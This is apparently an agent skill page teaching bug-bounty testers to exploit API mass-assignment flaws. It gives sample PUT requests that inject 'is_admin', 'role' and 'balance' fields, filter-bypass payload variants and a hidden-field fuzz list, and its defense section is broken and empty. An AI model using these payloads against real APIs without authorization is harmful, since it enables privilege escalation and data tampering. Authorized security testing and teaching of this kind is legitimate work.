ShulkwiSEC/bb-huge / skills/curated/mass-assignment-exploitation
mass-assignment-exploitation
VerifiedExploit Mass Assignment vulnerabilities in APIs and web frameworks to inject unauthorized parameters. This skill details how attackers uncover hidden fields and manipulate JSON or HTTP bodies to elevate privileges or tamper with data logic.
API Mass Assignment Exploitation
When to Use
- When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
- To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Object Inspection
# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>
# Response {
"id": 123,
"username": "tester",
"email": "tester@example.com",
"is_admin": false,
"balance": 0.00
}
Phase 2: Injecting Hidden Fields in PUT/POST Requests
# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>
{
"username": "tester2",
"is_admin": true,
"balance": 9999.00
}
Phase 3: Bypassing Filters using Payload Variations
// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }
Phase 4: Fuzzing for Hidden Fields
If the response doesn't leak internal field names, fuzz using common patterns.
# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
Decision Point π
flowchart TD
A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
B -->|Yes| C[Re-inject in POST/PUT ]
B -->|No| D[Fuzz Common Hidden Fields ]
C --> E[Verify Update/PrivEsc ]
π΅ Blue Team Detection & Defense
- Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Mass Assignment Exploitation β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
π° Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year |
|---|---|---|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 β a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
π Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdβ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdβ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdβ Verified disclosed bounties by vulnerability class
References
- OWASP API Security Risk: API6:2019 Mass Assignment
- PortSwigger: Mass Assignment
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 466k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 466k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 466k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 193k | Updated | Claude CodeCodex | Verified | Install |